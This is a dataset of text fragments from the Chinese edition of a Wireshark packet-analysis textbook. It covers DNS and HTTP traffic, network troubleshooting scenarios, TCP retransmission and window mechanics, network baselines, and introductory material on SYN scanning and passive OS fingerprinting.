    {"text": "问题区段（Question section）： 大小可变，包含有被发送到DNS服务器的一条或多条的信息查询的部分。 回答区段（Answer section）： 大小可变，含有用来回答查询的一条或多条资源记录。 权威区段（Authority section）： 大小可变，包含指向权威域名服务器的资源记录，用以继续解析过程。 额外信息区段（Additional Information section）： 包含资源记录且大小可变的区段，这些资源记录用来存储完全没有必要回答的查询相关的额外信息。"},
    {"text": "第一个数据包如图7-8所示，是由192.168.0.114的客户端通过DNS的标准端口53发向205.152.37.23的服务器的DNS查询。 图7-8 DNS查询数据包 当你检查这个数据包的头部时，你会发现DNS也基于UDP协议。"},
    {"text": "表7-2 常用DNS资源记录类型 值 类型 描述 1 A IPv4主机地址 2 NS 权威域名服务器 5 CNAME 规范别名 15 MX 邮件交换 16 TXT 文本字符串 28 AAAA IPv6主机地址 251 IXFR 增量区域传送 252 AXFR 完整区域传送 表7-2中所列简略且并不详尽，如果希望查看完整的DNS资源记录类型，请访问 http://www.iana.org/assignments/dns-parameters/ 。"},
    {"text": "图7-10 设置有期望递归位的DNS查询 当你展开这个数据包的DNS区段，你可以看到这是一个用于查找DNS名称www.nostarch.com的A类型记录的标准查询。"},
    {"text": "如果我们想要知道查询是否被递归应答，唯一的方法就是当进行递归查询时监听DNS服务器的流量，正如文件dns_recursivequery_server.pcap中所示的那样。"},
    {"text": "在第二个数据包中，位于172.16.0.102的DNS服务器向位于4.2.2.1，也就是其所设定的要转发上行请求的服务器，发送了一个新的查询，如图7-12所示。"},
    {"text": "在这个数据包被服务器4.2.2.1接收到之后，本地DNS服务器就接收到了响应，如图7-13所示。 图7-13 对递归DNS查询的响应 接到了这个响应后，本地DNS服务器就可以将第4个也就是最后一个带有请求信息的数据包传递给DNS客户端。"},
    {"text": "举例来说，Emma’s Diner这个网站可能由一个DNS服务器对emmasdiner.com负责。 这样，无论是Emma’s Diner内部还是外部的设备，如果希望将emmasdiner.com解析成IP地址，都需要和这个区域的权威，也就是这个DNS服务器联系。 如果Emma’s Diner发展壮大了，它可能会增加一个DNS服务器，专门用来处理其名字空间的email部分，比如mail.emmasdiner.com，那么这个服务器，就成为这个邮件子区域的权威。"},
    {"text": "举例来说，在拥有多个DNS服务器的组织中，管理员通常都会配置一台备用DNS服务器，用来维护一份主服务器DNS信息的拷贝，以防止主DNS服务器不可用。"},
    {"text": "图7-16 DNS完整区域传送请求 区域传送请求是典型的查询，但它请求的是AXFR类型而不是单一记录类型，就意味着它希望从服务器接收全部DNS区域。"},
    {"text": "Wireshark数据包分析实战(第2版) 7.3 超文本传输协议 超文本传输协议（Hypertext Transfer Protocol, HTTP）是万维网（World Wide Web）的传输机制，允许浏览器通过连接Web服务器浏览网页。目前在大多数组织中，HTTP流量在网络中所占的比率是最高的。每一次使用谷歌搜索，连接Twitter发一条微博，或者在ESPN.com上查看肯塔基大学的篮球比分，你都会用到HTTP。 我们不会去看HTTP传输的数据包结构，因为不同目的数据包的内容差别会很大。这个任务就留给你了。这里，我们来看HTTP的实际应用。 7.3.1 使用HTTP浏览 HTTP最常被用来使用浏览器浏览Web服务器上的网页。捕获文件http_ google.pcap就给出了这样一个使用TCP作为传输层协议的HTTP传输例子。通信以客户端172.16.16.128和谷歌Web服务器74.125.95.104的三次握手开始。 在建立了连接之后，第一个被标为HTTP的数据包是从客户端发向服务器，如图7-18所示。 图7-18 初始HTTP GET请求数据包 HTTP数据包通过TCP被传输到服务器的80端口，也就是HTTP通信的标准端口（8080端口也常被使用）。 HTTP数据包会被确定为8种不同请求方法中的一种（根据HTTP规范版本1.1的定义）。这些请求方法指明了数据包发送者想要对接收者采取的动作。如图7-18所示，这个数据包的方法是GET，它的请求通用资源标识符（Uniform Resource Indicator）是/，并且请求版本是HTTP/1.1。这些信息告诉我们这个客户端请求使用HTTP的1.1版本，下载Web服务器的根目录（/）。 接下来，主机向Web服务器发送关于自己的信息。这些信息包含了类似于使用的用户代理（浏览器）、浏览器接受的语言（Accept Languages）和Cookie信息（位于捕获的底部）。为保证兼容性，服务器可以利用这些信息决定返回给客户端的数据。 当服务器接收到了数据包4中的HTTP请求，它响应了一个TCP ACK，用于确认数据包，并在数据包6到11中传输所请求的数据。HTTP只被用来发布客户端和服务器的应用层命令。当进行数据传输时，除了在数据流的开始和结束部分，是看不到应用层的控制信息的。 服务器将数据在数据包6和7中发送，数据包8是来自客户端的确认，数据包9和10是另外两个数据数据包，数据包11是另外一个确认，如图7-19所示。尽管HTTP仍然负责这些传输，但所有这些数据包在Wireshark中都被显示为TCP分片而不是HTTP数据包。 图7-19 客户端浏览器和Web服务器之间使用TCP传输数据 在数据传输结束后，数据的重组装流就已经被发送完了，如图7-20所示。 图7-20 最后有着响应码200的HTTP数据包 HTTP使用了一些预定义的响应码来表示请求方法的结果。在这个例子中，我们看到一个带有200响应码的数据包，表示一次成功的请求方法。这个数据包同样包含一个时间戳，以及一些关于Web服务器内容编码和配置参数的额外信息。当客户端接收到这个数据包后，这次处理便完成了。 7.3.2 使用HTTP传送数据 我们看过了从Web服务器下载数据的过程，现在来关注上传数据。文件http_post.pcap包含了一个非常简单的上传例子：一个用户向一个网站发表评论。在初始的三次握手之后，客户端（172.16.16.128）向Web服务器（69.163.176.56）发送了一个HTTP数据包，如图7-21所示。 图7-21 HTTP POST数据包 这个数据包使用POST方法来向Web服务器上传数据以供处理。这里使用的POST方法指明了URI /wp-comments-post.php，以及HTTP 1.1请求版本。如果想看上传数据的内容，可以展开这个数据包的Line-based Text Data部分。 这个POST的数据在传输完了之后，服务器会发送一个ACK数据包。如图7-22所示，服务器在数据包6中传输了一个响应码302（代表“找到”）作为响应。 图7-22 HTTP响应码302用来进行重定向 302响应码是HTTP世界的一个常用的重定向手段。这个数据包的Location域指明了客户端被重定向的位置。在这种情况下，这个地方便是评论所发表的原先网页。最后，服务器传送一个状态码200，并且这个页面的内容会在接下来的一些数据包中进行发送，从而完成传输。 Wireshark数据包分析实战(第2版) 7.4 小结 这一章介绍了你在检查应用层流量时遇到的最常见的协议。在下面的一章中，我们将通过探索大量实战场景来介绍一些新的协议，以及我们这里所介绍协议的额外功能。 如果希望学习更多关于协议的知识，可以阅读它们相关的RFC文档，或者看一看Charles Kozeriok的The TCP/IP Guide（No Starch Press, 2005）。同样也可以看一下本书附录中列出的资源。"},
    {"text": "Wireshark数据包分析实战(第2版) 第8 章 基础的现实世界场景 从这章开始，我们将深入了解数据包分析的内涵，使用Wireshark分析现实世界中的网络问题。在本章第一部分，我们将分析网络工程师、服务台技术人员、应用开发者在日常工作中会遇到的场景——全都来自于我与同事们的实际经验。我们将使用Wireshark查看来自Twitter、Facebook和ESPN.com的流量，观察这些常用的服务是如何工作的。 本章第二部分将介绍一系列实际问题。针对每一个具体问题，我描述了它们的情况，并把当时可用的信息提供给分析者。在这个基础上，转到分析数据包的过程，描述捕获适当数据包的方法以及分析过程的每个步骤。分析完成后，我将提供一个完整的问题解决方案，或是帮你指出可能的解决方法，并概述从中吸取的经验教训。 自始至终，要记住分析是一个非常动态的过程。并且，我用来分析每一个场景的方法可能跟你用的不一样。每个人可以用不同的方法来分析。但最重要的是，分析的最终结果能够解决一个问题，或提供一次学习经验。另外，本章讨论的大部分问题，即使不用数据包嗅探器也可以解决。当我初次学习分析数据包时，我发现反常规地使用数据包分析技术来查看典型问题有很多好处，这也是我给你介绍这些场景的原因。"},
    {"text": "如图8-2所示，展开其中任意一个数据包的SSL部分，将会显示Encrypted Application Data域，包含了不可读的加密数据，如图8-2所示，展示了登录时用户名和密码的传输过程。"},
    {"text": "图8-3 身份认证完成之后，指向Twitter主页根目录（/）的GET请求 捕获记录文件的剩余部分中还有几个 GET 请求，用以检查链接到主页的图像和其他文件。"},
    {"text": "当分析这个数据时，你会看见一个叫做Authenticity Token的域，紧随其后的是一个URL的status域，包含这个值： This+is+a+tweet+for+practical+packet+analysis%2c+second+edition 这个status域的值就是我提交的未加密的tweet。"},
    {"text": "图8-6 明文显示的直达消息 8.1.2 捕获Facebook流量 刷完Twitter之后，我喜欢登录Facebook，看看朋友们在忙些什么，以便我能通过他们的感受来体验生活。"},
    {"text": "相反，我们在数据包12的HTTP头部看到一个指向/home.php的GET请求，如图8-8中的突出显示。 图8-8 身份认证之后，产生了指向/home.php的GET请求 如图8-9的捕获文件尾部的数据包64所示，用于身份认证的连接在传送home.php的内容后才拆除。"},
    {"text": "并且，由于在关闭身份认证连接之前不需要额外的认证，使中间人攻击（Man-in-the-middle，简称MITM，中间人攻击是指恶意用户拦截通信双方流量的一种攻击手段）更难得逞。"},
    {"text": "Wireshark数据包分析实战(第2版) 8.2 捕获ESPN.com流量 刷完社交网络后，下一步我就要看看最新的新闻头条以及运动赛事比分。一些网站有助于这有趣的分析， http://www.espn.com 便是其中之一。我已经把浏览ESPN网站的流量捕获到http_espn.pcap文件中了。 这个捕获文件包含很多数据包——确切地说是956个。但若是手工滚动分析整个文件以尝试辨别每个连接和异常，这数据量对我们而言就太大了。因此，我们将使用Wireshark的一些分析功能让该过程变得更加容易。 8.2.1 使用会话窗口 ESPN主页包含了太多的花哨设计，因此很容易理解为什么它会用近千个数据包把数据传输给我们。不论何时当你要传输大量数据时，知道数据的来源都是很有用的，尤其是它究竟有一个来源还是多个来源。我们可以使用Wireshark的会话窗口（ Statistics->Conversations ）来实现。 图8-12显示了包含14个IP会话、25个TCP连接、14个UDP会话的例子，所有会话都详细显示在会话主窗口中。对于一个站点来说，这算多的了。 图8-12 Conversations窗口显示了多个不同的连接 8.2.2 使用协议分层统计窗口 为了更好地观察情形，我们可以看看这些TCP和UDP连接上使用的应用层协议。如图 8-13 所示，打开协议分层统计窗口（ Statistics -> Protocol Hierarchy ）。 图8-13 协议分层统计窗口显示了这个捕获记录内的协议分布 你可以看到，TCP在捕获记录中占了97.07%的数据包，UDP占了剩下的2.93%。果不其然，所有TCP流量都是HTTP，甚至可以进一步按照HTTP传输的文件类型进行细分。 你可能会疑惑，Wireshark显示只有12.66%是HTTP，我却说所有的TCP流量都是HTTP，这是因为其他84.41%是纯TCP流量（数据传输和控制数据包）。UDP标题下的条目显示，图中所有UDP流量都是DNS。 单独依据这些信息，我们可以做些归纳。首先，我们从前面的例子知道，DNS 事务很少，所以 28 个 DNS 数据包（如图 8-13 所示，列在 Domain Name Service条目旁边的Packets列）意味着我们有14个DNS事务。我们将数据包总数除以2，表示成对的请求与响应，就得到了这个数字。如果你往会话窗口的UDP标题下面看，那里的确显示14个会话，代表14个DNS事务，这验证了我们的猜想。 然而DNS查询并不会独自发生，而捕获记录中的其他流量就只有HTTP。这告诉我们，ESPN网站的HTML代码有可能通过域名引用了其他域或子域，从而导致执行多个查询。 让我们看看是否能找到一些证据来证实我们的推测。 8.2.3 查看DNS流量 查看 DNS 流量的一个简单方法是创建一个过滤器。如图8-14所示，在Wireshark窗口内的filter栏里输入dns，将显示所有的DNS流量。 图8-14中的DNS流量全部以查询/响应的形式出现。为了更好地查看被查询的域名，我们创建一个只显示查询数据包的过滤器。在Packet List面板中选择一个查询，然后在Packet Details面板中展开数据包的DNS头部，然后右击Flags: 0x0100（Standard query）域，移动到 Apply as Filter ，选择 Selected 。 图8-14 DNS流量以标准的查询/响应形式出现 这将激活过滤器dns.flags == 0x0100，使窗口上只显示查询数据包，这样就更容易读取我们正在分析的记录。而且，如图8-14所示，那里的确有14个独立的请求（每个数据包表示一个请求），所有的域名好像都与ESPN有关，或者与它主页显示的内容有关。 8.2.4 查看HTTP请求 最后，我们可以通过查看HTTP请求来验证这些查询的来源。为此，选择 Statistics -> HTTP ，选择 Requests ，然后单击 Create Stat （要确定做这步之前你已经清除了刚才创建的过滤器）。 图8-15显示了HTTP Requests窗口。显示在这里的14个连接（每一行代表一个与特定域名的连接）解释了DNS请求代表的所有域名。 图8-15 这个窗口汇总了全部HTTP请求，显示了所访问的域 看到这么多连接，我们很可能会想查一下，这个高度复杂的过程到底花了多少时间。最简单的方法是查看这些流量的概述信息。为此，选择 Statistics -> Summary 。如图8-16所示，Summary窗口显示了整个过程在大约2s内发生，这是完全可以接受的。 太神奇了！我们查看一个网页的简单请求，竟然被分解成面向14个独立的域和子域的连接，与种种不同的服务器做了交互，而整个过程只在2s内完成！在访问你最喜欢的网站时，像这样捕获流量把它分解，是一种有趣的练习。你只有去查看这些报文，才会知道你的数据究竟是从哪儿来的。 图8-16 文件的Summary窗口显示全过程在2s内完成"},
    {"text": "在数据包1中，用户的计算机发送一个ARP广播数据包给网络上的所有计算机，试图得到默认网关172.16.0.10的MAC地址。 图8-17 针对计算机默认网关的ARP请求和响应 根据数据包2中收到的响应，用户的计算机了解到172.16.0.10的MAC地址是00:24:81:a1:f6:79。"},
    {"text": "如图8-18所示，计算机发送一个DNS查询数据包到它的首选DNS服务器4.2.2.2。 图8-18 发送到4.2.2.2的DNS查询 正常情况下，DNS服务器会很快响应DNS查询，但在这个例子中并非如此。"},
    {"text": "如图8-19所示，在数据包4中，第二个DNS查询被发送到预先配置好的备用DNS服务器4.2.2.1。 图8-19 发送到4.2.2.1的第二个DNS查询 由于计算机仍然没有从 DNS 服务器收到响应，1s 后，查询被再次发送到4.2.2.2。 如图8-20所示，这个过程不断重复，在接下来的几秒钟，交替向配置好的首选DNS服务器和备用DNS服务器发送请求。"},
    {"text": "如果我们先与ISP联系、或者尝试用其他手段排除远程DNS服务器的因素，而不是检查网关路由器，我们就能将注意力集中到计算机本身，实际也就是问题的原因上。"},
    {"text": "在数据包1中，用户计算机的MAC地址是00:25:b3:bf:91:ee，IP地址是172.16.0.8，它向网段上的所有计算机发送一个ARP广播数据包，试图获得主机172.16.0.102的MAC地址。"},
    {"text": "图8-21 对网络上另一个设备的ARP请求和响应 在数据包2中，用户的计算机了解到IP地址172.16.0.102的MAC地址是00:21:70:c0:56:f0。"},
    {"text": "如图8-23所示，当主机172.16.0.102发送回带有RST和ACK标志的TCP数据包（数据包4）后，连接请求就中断了。 图8-23 响应TCP SYN的TCP RST数据包 回想起第6章说过，带有RST标志的数据包是用来结束TCP连接的。"},
    {"text": "图8-24 TCP SYN和RST数据包一共出现了3次 在查看其他工作正常的网络设备的配置信息后，数据包1和2中的ARP请求和响应引起了我们的注意。"},
    {"text": "将这个hosts文件的表项移除后，用户的计算机就能正常访问www.google.com了。 注意 在Windows系统上查看hosts文件，请打开C:\\Windows\\System32\\drivers\\hosts。"},
    {"text": "因为捕获的第一个数据包发往一个外部地址，并且数据包2包含来自那个地址的响应，我们可以假设ARP过程已经完成了，并且网关路由器的MAC-IP地址映射已经存在于主机的ARP缓存中。"},
    {"text": "查看该数据包的内容，我们发现这是一个查询www.google.com的A记录请求。 图8-25 查询www.google.com的A记录 如图8-26所示，来自4.2.2.1的响应是捕获文件的第2个数据包。"},
    {"text": "TCP数据包设置了SYN标志，尝试连接远程服务器的80端口。 图8-27 尝试连接80端口的SYN数据包 因为这是一个TCP握手过程，我们知道应该在响应中看到TCP SYN/ACK数据包，但相反，主机过一会儿又发了另一个SYN数据包到目标。"},
    {"text": "图8-28 TCP SYN数据包尝试了3次都没有收到响应 这时，我们想到由于能成功向外部DNS服务器提交查询请求，所以网络内的工作站可以连接到外网。"},
    {"text": "当一个设备发送TCP数据包给远程设备，远程设备没有确认此次传输时，就发送一个TCP重传数据包。 一旦到达重传门限，发送设备就假设远程设备没有收到数据，立刻重传数据包。"},
    {"text": "图8-31 这些TCP重传数据包是故障的一个标志 在这个场景中，因为打印机没有确认传输的数据，客户工作站就向打印机发送重传数据包。 如果你展开TCP头部的SEQ/ACK analysis部分以及下方的额外信息，如图8-31所示，你可以从细节中看到为什么这是重传。"},
    {"text": "然后，如图8-32所示，你可以清楚地看见初始数据包（数据包120）发送5.5s后发生了数据包121的重传。 图8-32 查看数据包间隔时间有利于解决问题 下一个数据包是数据包120的另一个重传。"},
    {"text": "我们可以看见数据正常流动了相当长的时间，然而在某一时刻，打印机停止响应工作站了。 工作站尽了最大努力使数据到达目的地，重传就是个明证，但打印机就是没有响应。"},
    {"text": "幸好，当两台设备停止通信时，TCP给我们留下了有用的信息。 在这个案例中，当通信意外停止时，我们靠TCP内置的重传功能指出了问题的确切位置。"},
    {"text": "2．分析 如图 8-34 所示，当工作站 172.16.16.101 尝试访问托管在总部应用服务器172.16.16.200的应用程序时，产生了捕获文件的第一个数据包。"},
    {"text": "额外的数据包看起来很奇怪，因为它尝试与中心办公室的首选DNS服务器（172.16.16.250）的标准DNS服务端口53进行通信，但它却不是我们过去看见的UDP类型。"},
    {"text": "分公司的DNS服务器是总部DNS服务器的从属服务器，意味着分公司的DNS服务器依赖于总部服务器获得资源记录。 分公司用户试图访问的应用服务器放置在总部，意味着总部DNS服务器是它的权威DNS服务器。 要使分公司服务器能解析用户对应用服务器的DNS请求，总部DNS服务器必须把DNS资源记录传输给分公司DNS服务器，这可能是捕获文件中SYN数据包的来源。"},
    {"text": "图8-36 这个SYN数据包使用了53端口，但不是UDP SYN数据包没有得到响应，这告诉我们总部和分公司DNS服务器之间区域传送失败导致了DNS故障。"},
    {"text": "办公室之间的路由器或中心办公室的DNS服务器可能是罪魁祸首。 为了找出问题，我们可以嗅探中心办公室DNS服务器的流量，看看SYN数据包是不是到达了服务器。"},
    {"text": "派遣技术人员查看连接两个办公室的路由器配置后，我们发现中心办公室的路由器被配置成只允许53端口的UDP流量进入，而53端口的TCP流量则被阻止了。"},
    {"text": "在这个场景中，我们一开始先查看了受害者（工作站），然后找到了DNS通信问题这个线索。 这个线索将我们带到分支DNS服务器，然后又到中心DNS服务器，最终找到路由器，也就是问题的来源。"},
    {"text": "我们比较原始文件和提取文件的MD5哈希值，就能验证是否一致。 MD5哈希值应该是一样的，如图8-42所示。 图8-42 原始文件和提取文件的MD5哈希值相等 比较完文件后，我们可以证明网络并不是应用程序数据库出错的原因。"},
    {"text": "Wireshark数据包分析实战(第2版) 8.4 小结 在本章，我们讲述了几个基本场景，数据包分析使我们更好地理解通信故障。通过分析常见协议，我们可以及时查出并解决网络问题。你在现实网络中可能不会遇到跟这里完全相同的场景，但本章讨论的分析技术应该能给你一些有益的启发。 [1] 虽然在中国大陆地区无法直接访问到Twitter和Facebook，但是本章案例都提供了捕获文件，因此读者仍然可以重现和学习本章的所有案例。并建议读者能够举一反三，分析下新浪微博、腾讯微博、人人网等国内主流社交网站登录过程是否安全，你应该会有非常有趣的发现。——译者注 [2] 这是在中国大陆地区最可能遭遇的情况。——译者注 [3] 在中国大陆地区，通常情况下并非Google那边的故障，而是访问路径中存在某种防火墙，只能寻求绕过。——译者注 Wireshark数据包分析实战(第2版) 第9章 让网络不再卡 作为一名网络管理员，你将花费很多时间用于修复运行缓慢的计算机和服务。但是人们抱怨网络缓慢，并不意味着就是网络的问题。 在开始处理网络缓慢的问题之前，你首先要确定网络是否真的很慢。你将在本章中学到这些技巧。 首先，我们会讨论TCP的错误恢复和流量控制机制。然后，我们会探索如何检测网络缓慢的根源。最后，我们会讨论用基线测试网络以及网络上运行的设备与服务的方法。读完本章后，你在识别、诊断、解决慢速网络方面，应该会有非常大的进步。 注意 很多技术都可以用来排除网络缓慢故障。本章内容主要集中在TCP，因为在大多数时间你只需要面对它。TCP允许你执行被动的回溯分析，而不用生成额外的流量（比如ICMP）。"},
    {"text": "当设备间通信很快，并且数据包从一端点到另一端点所花时间很少时，就说通信是低时延的。 相反，当数据包在来源和目的地间传输要花费大量时间时，就说通信是高时延的。"},
    {"text": "决定是否有必要重传数据包的主要机制叫做重传计时器。 这个计时器负责维护一个叫重传超时（Retransmission timeout，RTO）的值。 每当使用TCP传输一个数据包时，就启动重传计时器。"},
    {"text": "图9-1阐述了TCP重传过程。 图9-1 TCP重传过程的概念视图 当数据包被发送出去，但接收方没有发送TCP ACK数据包时，传输主机就假设原来的数据包丢失了，并重传它。"},
    {"text": "如果在到达极限值之前一直没有接收到ACK数据包，那将发生另一次重传。 如果下一次重传还是没有收到ACK，RTO值将翻倍。 每次重传，RTO值都将翻倍，这个过程会持续到收到一个ACK数据包，或者发送方达到配置的最大重传次数为止。"},
    {"text": "图 9-3 显示了Packet List面板中列出的重传例子。 图9-3 Packet List面板中的重传 如图9-4所示，你也可以通过查看Packet Details和Packet Bytes面板确定它是否是重传数据包。 图9-4 一个重传数据包 注意除了IP identification和Checksum域之外，这个数据包与最初的数据包完全一致。"},
    {"text": "一旦接收到此数据包，接收方会根据以下规则响应一个包含确认号5500的TCP ACK数据包： 接收数据的序号 + 接收数据的字节数 = 发出的确认号 在这个运算中，返回到发送方的确认号实际上就是接收方期待下次接收的数据包序号。"},
    {"text": "图9-6 TCP序号和确认号 序号使数据接收方检测数据包丢失成为可能。 当接收方追踪正在接收的序号时，如遇到不合顺序的序号，它就知道数据包丢失了。 当接收方收到一个预料之外的序号时，它假设有一个数据包在传输中丢失了。 为了正确地重组数据，接收方必须要得到丢失的数据包，因此它重新发送一个包含丢失数据包序号的ACK数据包，以使发送方重传该数据包。 当传输主机收到3个来自接收方的重复ACK时，它假设这个数据包确实在传输中丢失了，并立刻发送一个快速重传。"},
    {"text": "图9-8 ACK显示了下一个期待的序号 在网络中这个TCP ACK数据包从数据接收方（172.31.136.85）去往发送方（195.81.202.68），会对在前一个数据包（没有包含在该捕获文件中）中发送的数据进行确认。"},
    {"text": "此数据包中的确认号是1310973186，这应该是接收的下一个数据包的序号，如图9-9所示。 图9-9 此数据包的序号与预料的不同 对我们和接收方而言都是一种不幸，下一个数据包的序号是1310984130 ，并非是我们所期待的。"},
    {"text": "如图9-10所示，接收主机注意到这个数据包的序号不符，就在捕获记录的第3个数据包中发送一个重复的ACK。 图9-10 第一个重复ACK数据包 通过查看以下信息的任意一个，你就可以确定这是一个重复的ACK数据包。"},
    {"text": "这导致它传输第三个、也是最后一个重复ACK。 发送方收到来自接收方的第三个重复ACK之后，就强制停止所有的数据包传输，并重新发送丢失的数据包。"},
    {"text": "这个数据包的SEQ/ACK分析部分告诉我们这有可能是一次快速重传（再次注意，数据包的快速重传标记信息并非数据包本身的值，而是Wireshark的功能）。"},
    {"text": "因此，一旦数据包丢失并收到重复ACK，即使在丢失数据包之后还成功接收了其他数据包，也只需要重传丢失的数据包。 如果不启用选择性ACK，那就必须重新传输丢失数据包之后的每一个数据包。"},
    {"text": "TCP实现了滑动窗口机制，用于检测何时发生了数据包丢失，并调整数据传输速率加以避免。 滑动窗口机制利用数据接收方的接收窗口来控制数据流。"},
    {"text": "图9-15 当窗口大小设为0字节时，数据传输就停止了 9.2.3 TCP滑动窗口实战 看完TCP滑动窗口的理论之后，我们将在捕获文件tcp_zerowindowrecovery.pcap中探究它。"},
    {"text": "图9-16 这些数据包的窗口大小在递减 这个值从第一个数据包的8760字节减少到第二个数据包的5840字节，接着又减为第三个数据包的2920字节。"},
    {"text": "图9-17 零窗口数据包说明了主机不能再接收任何数据 第四个数据包也是从192.168.0.20发往192.168.0.30的，但它的目的是告诉192.168.0.30它不能再接收任何数据。"},
    {"text": "一旦发送了零窗口数据包，192.168.0.30的设备就不再发送任何数据，直到它从192.168.0.20收到一个窗口更新，通知它窗口大小已经增长了。"},
    {"text": "如图9-19所示，紧接着就是一个从172.31.136.85返回的零窗口数据包。 图9-19 零窗口数据包使数据传输暂停 这看起来与图9-17里的零窗口数据包非常相似，但结果却很不相同。"},
    {"text": "如图9-21所示，这个过程又持续了几次，一台主机发送零窗口数据包，另一台则发送保活数据包。 图9-21 零窗口和保活数据包不断出现 这些保活数据包以3.4s、6.8s、13.5s的间隔出现。"},
    {"text": "Wireshark数据包分析实战(第2版) 9.3 从TCP错误控制和流量控制中学到的 让我们在上下文中讨论重传、重复ACK、滑动窗口机制。下面是处理延迟问题的一些注意事项。 重传数据包 发生重传是因为客户端检测到服务器没有接收到它发送的数据。因此，你能否看到重传取决于你在分析的通信的哪一端。如果你从服务器端捕获数据，并且它确实没有接收到客户端发送、重传的数据包，那你将被蒙在鼓里，因为你看不到重传的数据包。如果你怀疑服务器端受到了数据包丢失的影响，（可能的话）你应该考虑到在客户端那边捕获流量以观察是否有重传数据包。 重复ACK数据包 我倾向于把重复ACK看作重传的表面对立词（pseudo-opposite），因为当服务器检测到来自客户端的数据包丢失时就发送它。在多数情况下，你可以在通信两端捕获到重复ACK的流量。记住当接收到乱序数据包时才触发重复ACK。例如，如果服务器只接收到了第一个和第三个数据包，就会发送一个重复ACK以引发第二个数据包的快速重传。由于你已经接收到第一个和第三个数据包，那不管什么情况导致第二个数据包丢失都可能只是暂时的，因此在大部分情况下，你可以成功发送并接收重复ACK。当然，有时候这个情况也未必成立。因此，当你在服务器端怀疑有数据包丢失却没有看到任何重复ACK时，可以考虑在通信的客户端捕获数据包。 零窗口和保活数据包 滑动窗口与服务器接收、处理数据的故障直接相关。服务器的某些问题可以直接导致窗口大小减少或达到零窗口状态，因此，如果你发现这样的情况，就应该集中调查那里。通常你会在网络通信的两端看见窗口更新数据包。"},
    {"text": "产生这两个数据包的处理过程是收到SYN/ACK后在客户端本地发生的，所以只要客户端没有沉重的处理负载，这两个数据包应该立刻就能发出去。"},
    {"text": "虽然这个信息并没有告诉你网络高延迟的确切原因，但它起码告诉你不是客户端或服务器的问题，所以你能意识到延迟是因为中间的一些设备出了问题。"},
    {"text": "对我们的目的而言，网络基线包含来自网络不同端点的流量样本，包括大量我们认可的“正常”网络流量。 网络基线的作用是在网络或设备工作不正常时作为比较的基准。"},
    {"text": "如果你捕获这些流量并与网络基线对照，你会发现Web服务器一切正常，但嵌入到Web应用中的外部内容引发了额外的外部DNS请求，而这些请求比正常速度慢两倍。"},
    {"text": "使用的协议 在网络边缘（路由器/防火墙）捕获网段上所有设备的流量时，请使用协议分层统计窗口（ Statistics -> Protocol Hierarchy ）来查看所有设备的流量。"},
    {"text": "在站点内任一点监听都可以捕获所有广播流量，通过它可以了解正常情况下谁将大量广播流量发送到网络中，这样你将很快确定是否出现了过多（或过少）的广播流量。"},
    {"text": "Wireshark数据包分析实战(第2版) 9.6 小结 本章内容聚焦于如何解决慢速网络的问题。我们讲述了TCP的一些有用的可靠性检测和恢复功能，演示了如何定位网络通信高延迟的原因，并讨论了网络基线的重要性以及它的一些组件。使用这里讨论的技术，再加上Wireshark的绘图和分析功能（在第5章讨论过），你再接到电话抱怨网速很慢时，应该能应付自如。 Wireshark数据包分析实战(第2版) 第10章 安全领域的数据包分析 虽然本书主要集中于如何使用数据包分析技术解决网络故障，但在现实世界中，很多数据包分析工作都是为了解决安全问题。当入侵分析师检查来自可疑入侵者的网络流量，或取证人员调查恶意软件在主机上的感染程度时，就会用到数据包分析的方法。面向安全的数据包分析是一个很大的话题，都可以另写一本书了，本章只是带你尝尝鲜。 在本章，我们将扮演一位安全从业者，学习在网络层分析“肉鸡 [1] ”系统的各个方面。我们将涉及网络侦察、重定向恶意的流量，以及利用系统漏洞。接着，我们将扮演一位入侵分析师，剖析来自入侵检测系统的警报流量。即使你不是安全从业者，通过阅读本章，你也可以获得一些对网络安全的关键视角。"},
    {"text": "图10-1 一次TCP SYN扫描的结果 如果受害者机器上某个服务正在监听的端口收到了SYN数据包，它将向攻击者回复一个TCP SYN/ACK数据包，也就是TCP握手的第二部分。"},
    {"text": "4．这将在 filter 对话框放置一个过滤器，针对所有目标端口为 443 的数据包。 现在，由于我们也想要源端口为 443 的数据包，所以单击屏幕顶端的filter栏，删除过滤器的dst部分。"},
    {"text": "图10-3 两次尝试用SYN数据包建立连接 两个数据包都没有得到响应，有可能是因为响应数据包被受害者主机或中间设备过滤了，或者端口是关闭的。"},
    {"text": "当你应用这个过滤器时，你会看见5个数据包，如图10-4所示。 图10-4 表明端口是开放的5个数据包 第1个是我们在捕获之初选择的SYN数据包。"},
    {"text": "10.1.1.2 识别开放和关闭的端口 理解了SYN扫描能引起的不同响应类型后，自然而然会想到去找一个方法——如何快速识别哪些端口是开放的还是关闭的。"},
    {"text": "10.1.2 操作系统指纹术 了解目标的操作系统对攻击者有极大价值。 了解到目标使用的操作系统，将确保攻击者实施具有针对性的攻击手段。 同时这个信息也有助于攻击者成功进入系统后，在目标文件系统找到关键文件和目录。"},
    {"text": "操作系统指纹术分为两种类型：被动式和主动式。 10.1.2.1 被动式指纹技术 被动式指纹技术通过分析目标发送的数据包的某些域来确定目标使用的操作系统。"},
    {"text": "表10-1 常见的被动式指纹值 协议头部 域 默认值 操作系统 IP 初始TTL 64 Nmap、BSD、Mac OS 10、Linux 128 Novell、Windows 255 Cisco IOS、Palm OS、Solaris IP 不分片标志 Set BSD、Mac OS 10、Linux、Novell、Windows、Palm OS、Solaris Not set Nmap、Cisco IOS TCP 最长段大小 0 Nmap 1440 Windows、Novell 1460 BSD、Mac OS 10、Linux、Solaris TCP 窗口大小 1024–4096 Nmap 65535 BSD、Mac OS 10 2920–5840 Linux 16384 Novell 4128 Cisco IOS 24820 Solaris Variab Windows TCP SackOK Set Linux、Windows、OpenBSD Not set Nmap、FreeBSD、Mac OS 10、Novell、Cisco IOS、Solaris 捕获文件passiveosfingerprinting.pcap中的数据包是这项技术的绝佳例子。"},
    {"text": "表10-2 操作系统指纹术的数据包分类 协议 头部 域 数据包1的值 数据包2的值 IP 初始TTL 128 64 IP 不分片标志 Set Set TCP 最长段大小 1440 Bytes 1460 Bytes TCP 窗口大小 64240 Bytes 2920 Bytes TCP SackOK Set Set 基于这些值，我们可以得出结论：发送数据包1的设备运行Windows的可能性最大，而发送数据包2的设备运行Linux的可能性最大。"},
    {"text": "文件中有一些是Nmap发送的探测数据包，这些探测数据包引起的响应可用于识别操作系统。 Nmap记录下对这些探测数据包的响应并创建一个指纹，与指纹数据库对比后得出结论。"},
